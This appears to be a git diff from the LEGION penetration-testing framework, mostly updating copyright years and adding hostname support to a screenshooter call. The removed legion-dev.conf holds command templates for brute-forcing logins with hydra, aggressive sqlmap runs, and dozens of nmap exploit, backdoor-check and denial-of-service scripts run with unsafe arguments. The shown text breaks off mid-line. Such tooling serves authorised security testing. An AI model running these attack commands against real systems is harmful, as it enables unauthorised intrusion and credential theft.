remove it @@ -889,8 +898,12 @@ def runToolsFor(self, service, ip, port, protocol='tcp'): for tool in self.settings.automatedAttacks: if service in tool[1].split(",") and protocol==tool[2]: if tool[0] == "screenshooter": - url = ip+':'+port - self.screenshooter.addToQueue(url) + if hostname: + url = hostname+':'+port + else: + url = ip+':'+port + log.info("Screenshooter of URL: %s" % str(url)) + self.screenshooter.addToQueue(ip, port, url) self.screenshooter.start() else: diff --git a/db/RepositoryContainer.py b/db/RepositoryContainer.py index e36d3252..63777ed3 100644 --- a/db/RepositoryContainer.py +++ b/db/RepositoryContainer.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/RepositoryFactory.py b/db/RepositoryFactory.py index a4e66573..e167323a 100644 --- a/db/RepositoryFactory.py +++ b/db/RepositoryFactory.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/database.py b/db/database.py index eb54b208..ade4d96d 100644 --- a/db/database.py +++ b/db/database.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/app.py b/db/entities/app.py index 8fc59e05..62bcb66c 100644 --- a/db/entities/app.py +++ b/db/entities/app.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/cve.py b/db/entities/cve.py index 4b8059b3..c7e18823 100644 --- a/db/entities/cve.py +++ b/db/entities/cve.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/host.py b/db/entities/host.py index 13ccde0d..a02d1c07 100644 --- a/db/entities/host.py +++ b/db/entities/host.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/l1script.py b/db/entities/l1script.py index e4ad151c..8813563a 100644 --- a/db/entities/l1script.py +++ b/db/entities/l1script.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/nmapSession.py b/db/entities/nmapSession.py index 7b7c1c35..92cf2936 100644 --- a/db/entities/nmapSession.py +++ b/db/entities/nmapSession.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/note.py b/db/entities/note.py index e785d93f..4803193c 100644 --- a/db/entities/note.py +++ b/db/entities/note.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/os.py b/db/entities/os.py index 531bd51d..7ec488b2 100644 --- a/db/entities/os.py +++ b/db/entities/os.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/port.py b/db/entities/port.py index f59a457e..d5b433bd 100644 --- a/db/entities/port.py +++ b/db/entities/port.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/process.py b/db/entities/process.py index b9c40b23..6f716437 100644 --- a/db/entities/process.py +++ b/db/entities/process.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/processOutput.py b/db/entities/processOutput.py index 1f8a8420..2649cbe5 100644 --- a/db/entities/processOutput.py +++ b/db/entities/processOutput.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/service.py b/db/entities/service.py index ab59730a..f1b36b2f 100644 --- a/db/entities/service.py +++ b/db/entities/service.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/filters.py b/db/filters.py index d8bb1d6e..83b4028f 100644 --- a/db/filters.py +++ b/db/filters.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/CVERepository.py b/db/repositories/CVERepository.py index 3659392f..104c4e81 100644 --- a/db/repositories/CVERepository.py +++ b/db/repositories/CVERepository.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/HostRepository.py b/db/repositories/HostRepository.py index 40aa8b16..1c711f22 100644 --- a/db/repositories/HostRepository.py +++ b/db/repositories/HostRepository.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/NoteRepository.py b/db/repositories/NoteRepository.py index 273a33d3..fef040f5 100644 --- a/db/repositories/NoteRepository.py +++ b/db/repositories/NoteRepository.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/PortRepository.py b/db/repositories/PortRepository.py index f1eb92e0..7b2b91ad 100644 --- a/db/repositories/PortRepository.py +++ b/db/repositories/PortRepository.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/ProcessRepository.py b/db/repositories/ProcessRepository.py index a4160d32..f03bc3f8 100644 --- a/db/repositories/ProcessRepository.py +++ b/db/repositories/ProcessRepository.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/ScriptRepository.py b/db/repositories/ScriptRepository.py index 9d09a4bb..5df3ff93 100644 --- a/db/repositories/ScriptRepository.py +++ b/db/repositories/ScriptRepository.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/ServiceRepository.py b/db/repositories/ServiceRepository.py index 929947b5..99d92756 100644 --- a/db/repositories/ServiceRepository.py +++ b/db/repositories/ServiceRepository.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/validation.py b/db/validation.py index 4d8b8d66..cf0fcb63 100644 --- a/db/validation.py +++ b/db/validation.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/legion-dev.conf b/legion-dev.conf deleted file mode 100644 index 55da36c0..00000000 --- a/legion-dev.conf +++ /dev/null @@ -1,326 +0,0 @@ -[BruteSettings] -default-password=password -default-username=root -no-password-services="oracle-sid,rsh,smtp-enum" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ - -[GUISettings] -process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,491,100" -process-tab-detail=false - -[GeneralSettings] -default-terminal=gnome-terminal -enable-scheduler=True -enable-scheduler-on-import=False -max-fast-processes=5 -max-slow-processes=5 -screenshooter-timeout=15000 -tool-output-black-background=False -web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" - -[HostActions] -icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] -nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" -nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" -nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" -nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -python-script-CrashMe=Run CrashMe python scripy, python3 ./scripts/python/dummy.py -python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan -python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors -unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v - -[PortActions] -banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", -broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql -citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix -citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix -citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix -cloudfail=Run cloudfail, python3.7 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail -dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" -dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap -enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" -finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger -ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp -ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp -ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp -ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp -ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp -ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp -http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" -http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" -http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" -http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" -http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" -http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" -http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" -http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" -http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" -http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" -http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" -http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" -http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" -http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" -http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" -http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" -http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" -http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" -http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" -http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" -http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" -http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" -http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" -http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" -http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" -http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" -http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" -http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" -http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" -http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" -http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" -http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" -http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" -http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" -http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" -http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" -http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" -http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" -http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" -http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" -http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" -http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" -http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" -http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" -http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" -http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" -http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" -http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" -http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" -http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" -http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" -http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" -http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" -http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" -http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" -http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" -http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" -http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" -http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" -http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" -http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" -http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" -http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" -http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" -http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" -http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" -http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" -http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" -http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" -http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql -http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" -http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" -http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" -http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" -http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" -http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" -http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" -http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" -http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" -http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" -http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" -http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, 